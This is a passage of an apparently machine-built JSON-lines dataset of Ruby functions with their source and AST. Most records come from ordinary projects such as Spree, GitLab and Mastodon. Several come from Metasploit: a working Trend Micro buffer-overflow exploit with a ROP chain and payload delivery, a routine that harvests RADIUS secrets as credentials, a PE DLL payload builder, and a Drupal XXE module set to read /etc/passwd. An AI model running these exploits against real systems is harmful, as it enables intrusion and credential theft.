end","complexity_score":37.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_radiusprofile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lines\"]},{\"type\":\"arg\",\"children\":[\"credential_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auth_servers\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"radius\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"x_secret\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Radius server: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ip\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\" with secret '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"x_secret\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cred\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"x_secret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ip\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"[]\",{\"type\":\"str\",\"children\":[\"port\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_and_login\",{\"type\":\"lvar\",\"children\":[\"cred\"]}]}]}]}]}]}","id":"07247e6c-9e72-4e46-a470-555d16047ce9"} {"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/variant_presenter.rb","start_line":44,"raw_source":"def option_values(variant)\n variant.option_values.map do |option_value|\n {\n id: option_value.id,\n name: option_value.name,\n presentation: option_value.presentation,\n }\n end\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"option_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"option_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presentation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"presentation\"]}]}]}]}]}","id":"352af9d8-c81d-4838-9e8b-6ac2cc6a6f79"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/watchdog/handlers/sidekiq_handler.rb","start_line":8,"raw_source":"def initialize(shutdown_timeout_seconds, sleep_time_seconds)\n @shutdown_timeout_seconds = shutdown_timeout_seconds\n @sleep_time_seconds = sleep_time_seconds\n @alive = true\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shutdown_timeout_seconds\"]},{\"type\":\"arg\",\"children\":[\"sleep_time_seconds\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shutdown_timeout_seconds\",{\"type\":\"lvar\",\"children\":[\"shutdown_timeout_seconds\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sleep_time_seconds\",{\"type\":\"lvar\",\"children\":[\"sleep_time_seconds\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@alive\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"63f11b97-37b1-4501-85e9-a82449d4d526"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexer.rb","start_line":23,"raw_source":"def default_options(o={})\n @default_options ||= {}\n @default_options.merge!(o)\n @default_options\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_options\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"o\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_options\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@default_options\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"ivar\",\"children\":[\"@default_options\"]}]}]}","id":"a58e60b1-7155-4c28-a2b2-7c083f037b90"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_bookmark_base_serializer.rb","start_line":51,"raw_source":"def reminder_at_ics_end\n object.reminder_at_ics(offset: 1.hour)\n end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"reminder_at_ics_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"reminder_at_ics\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]}]}","id":"02a0b5c4-bad4-4e08-bbce-f94823140ad9"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/account_policy.rb","start_line":40,"raw_source":"def unsilence?\n role.can?(:manage_users)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unsilence?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_users\"]}]}]}","id":"484731e6-00ef-4ae7-abac-2e2c5aacf82c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/exe.rb","start_line":800,"raw_source":"def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})\n set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')\n to_win64pe_dll(framework, code, opts)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_win64pe_dccw_gdiplus_dll\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"code\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_template_default_winpe_dll\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"str\",\"children\":[\"dccw_gdiplus\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"to_win64pe_dll\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"0be17f83-4ac6-47e8-b7ed-ead21b40be0e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account_suggestions/fasp_source.rb","start_line":14,"raw_source":"def fasp_follow_recommendations_for(account)\n Fasp::FollowRecommendation.for_account(account).newest_first.select(:recommended_account_id)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fasp_follow_recommendations_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"FollowRecommendation\"]},\"for_account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},\"newest_first\"]},\"select\",{\"type\":\"sym\",\"children\":[\"recommended_account_id\"]}]}]}","id":"b82f1c3a-d599-4da0-aed2-e8ae79397322"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb","start_line":75,"raw_source":"def exploit\n # TmUpdate.dll\n rop_chain = [\n 0x668074d4,\t# POP EDX # OR AL,0F6 # RETN\n 0x3FCD0FFC,\t# Put 00001000 into edx\n 0x667611b2,\t# ADD EDX,C0330004 # RETN 04\n 0x667c99e7,\t# POP EBP # RETN [TmUpdate.dll]\n junk,\n 0x667c99e7,\t# skip 4 bytes [TmUpdate.dll]\n 0x667e3250,\t# POP EBX # RETN [TmUpdate.dll]\n 0xffffffff,\t# NEG EBX\n 0x6683ab64,\t# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]\n 0x6683ab64,\t# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]\n 0x6680a1d3,\t# POP EAX # RETN [TmUpdate.dll]\n 0xffffffc0,\t# Value to negate, will become 0x00000040\n 0x66812b53,\t# NEG EAX # RETN [TmUpdate.dll]\n 0x667f030a,\t# MOV ECX,EAX # RETN [TmUpdate.dll]\n 0x667d4c7c,\t# POP EDI # RETN [TmUpdate.dll]\n 0x667e8003,\t# RETN (ROP NOP) [TmUpdate.dll]\n 0x667d54d0,\t# POP ESI # RETN [TmUpdate.dll]\n 0x667baf06,\t# JMP [EAX] [TmUpdate.dll]\n 0x66833376,\t# POP EAX # RETN [TmUpdate.dll]\n 0x6686115c,\t# ptr to &VirtualAlloc() [IAT TmUpdate.dll]\n 0x6681ceb3,\t# PUSHAD # RETN [TmUpdate.dll]\n 0x668382c3,\t# ptr to 'call esp' [TmUpdate.dll]\n ].pack('V*')\n # rop chain generated by mona.py\n\n header = \"\\x00\\x00\"\n header << \"\\x13\\x88\" # size of buffer\n header << rand_text_alpha(9)\n header << \"\\x15\\x09\\x13\" # opcode\n header << \"\\x00\\x00\\x00\"\n header << rand_text_alpha(25)\n header << \"\\xFE\\xFF\\xFF\\xFF\" # in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword\n header << \"\\xFF\\xFF\\xFF\\xFF\" # after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved\n header << \"\\xFF\\xFF\\xF4\\xFF\" # and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads\n header << \"\\xFF\\xFF\" # us to our vulnerable function\n header << rand_text_alpha(1) # align stack again for rop\n\n pay = rop_chain\n pay << make_nops(374 - rop_chain.length)\n pay << \"\\xeb\\x04\" # Short jmp 0x04\n pay << [target.ret].pack('V')\n pay << payload.encoded\n\n sploit = header\n sploit << pay\n\n filler = rand_text_alpha(target['Offset'] - (sploit.length))\n\n connect\n print_status(\"Sending request...\")\n sock.put(sploit + filler)\n handler\n disconnect\n end","complexity_score":58.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pay\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filler\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"length\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending request...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filler\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"78c4aa5f-93be-4fe5-a81d-eaf97913013c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/drupal_openid_xxe.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Drupal OpenID External Entity Injection',\n 'Description' => %q{\n This module abuses an XML External Entity Injection\n vulnerability on the OpenID module from Drupal. The vulnerability exists\n in the parsing of a malformed XRDS file coming from a malicious OpenID\n endpoint. This module has been tested successfully on Drupal 7.15 and\n 7.2 with the OpenID module enabled.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Reginaldo Silva', # Vulnerability discovery\n 'juan vazquez' # Metasploit module\n ],\n 'References' => [\n [ 'CVE', '2012-4554' ],\n [ 'OSVDB', '86429' ],\n [ 'BID', '56103' ],\n [ 'URL', 'https://drupal.org/node/1815912' ],\n [ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],\n [ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]\n ],\n 'DisclosureDate' => '2012-10-17',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [ true, \"Base Drupal directory path\", '/drupal']),\n OptString.new('FILEPATH', [true, \"The filepath to read on the server\", \"/etc/passwd\"])\n ]\n )\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Drupal OpenID External Entity Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module abuses an XML External Entity Injection\\n\"]},{\"type\":\"str\",\"children\":[\" vulnerability on the OpenID module from Drupal. The vulnerability exists\\n\"]},{\"type\":\"str\",\"children\":[\" in the parsing of a malformed XRDS file coming from a malicious OpenID\\n\"]},{\"type\":\"str\",\"children\":[\" endpoint. This module has been tested successfully on Drupal 7.15 and\\n\"]},{\"type\":\"str\",\"children\":[\" 7.2 with the OpenID module enabled.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Reginaldo Silva\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-4554\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"86429\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"56103\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://drupal.org/node/1815912\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-10-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base Drupal directory path\"]},{\"type\":\"str\",\"children\":[\"/drupal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filepath to read on the server\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]}]}]}]}]}","id":"01a7ff87-c9df-4902-b6ab-f333ba5c12df"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/issue/show.rb","start_line":59,"raw_source":"def relate_issue(issue)\n click_element('crud-form-toggle')\n fill_element('add-issue-field', issue.web_url)\n send_keys_to_element('add-issue-field', :enter)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relate_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"crud-form-toggle\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\"add-issue-field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"web_url\"]}]},{\"type\":\"send\",\"children\":[null,\"send_keys_to_element\",{\"type\":\"str\",\"children\":[\"add-issue-field\"]},{\"type\":\"sym\",\"children\":[\"enter\"]}]}]}]}","id":"89fdd4c0-585b-43c3-93bf-ea965d73ebcb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/create_runner_service.rb","start_line":65,"raw_source":"def track_runner_events(runner)\n kwargs = { user: user }\n\n case runner.runner_type\n when 'group_type'\n kwargs[:namespace] = @scope\n when 'project_type'\n kwargs[:project] = @scope\n end\n\n track_internal_event(\n 'create_ci_runner',\n **kwargs,\n additional_properties: {\n label: runner.runner_type,\n property: 'authenticated_user'\n }\n )\n\n return if params[:maintenance_note].blank?\n\n track_internal_event(\n 'set_runner_maintenance_note',\n **kwargs,\n additional_properties: {\n label: runner.runner_type\n }\n )\n end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"track_runner_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"kwargs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"runner_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"group_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"ivar\",\"children\":[\"@scope\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"project_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"ivar\",\"children\":[\"@scope\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"track_internal_event\",{\"type\":\"str\",\"children\":[\"create_ci_runner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_properties\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"runner_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"str\",\"children\":[\"authenticated_user\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"maintenance_note\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"track_internal_event\",{\"type\":\"str\",\"children\":[\"set_runner_maintenance_note\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_properties\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runner\"]},\"runner_type\"]}]}]}]}]}]}]}]}","id":"cffc6881-5e02-41b1-b794-84195b04ab16"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/taxons_controller.rb","start_line":99,"raw_source":"def load_form_data\n @taxon_rules = Rails.application.config.spree.taxon_rules\n @rule_types = @taxon_rules.map do |taxon_rule|\n [Spree.t(\"admin.taxon_rules.#{taxon_rule.to_s.demodulize.underscore}\"), taxon_rule.to_s]\n end\n\n @rule_match_policies = Spree::TaxonRule::MATCH_POLICIES.map do |policy|\n [Spree.t(\"admin.taxon_rules.match_policies.#{policy}\"), policy]\n end\n end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_form_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@taxon_rules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"spree\"]},\"taxon_rules\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rule_types\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@taxon_rules\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxon_rule\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin.taxon_rules.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon_rule\"]},\"to_s\"]},\"demodulize\"]},\"underscore\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxon_rule\"]},\"to_s\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rule_match_policies\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"TaxonRule\"]},\"MATCH_POLICIES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin.taxon_rules.match_policies.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"policy\"]}]}]}]}]}]}","id":"7f4e3c71-3bab-4f82-880f-de008aeb066e"} 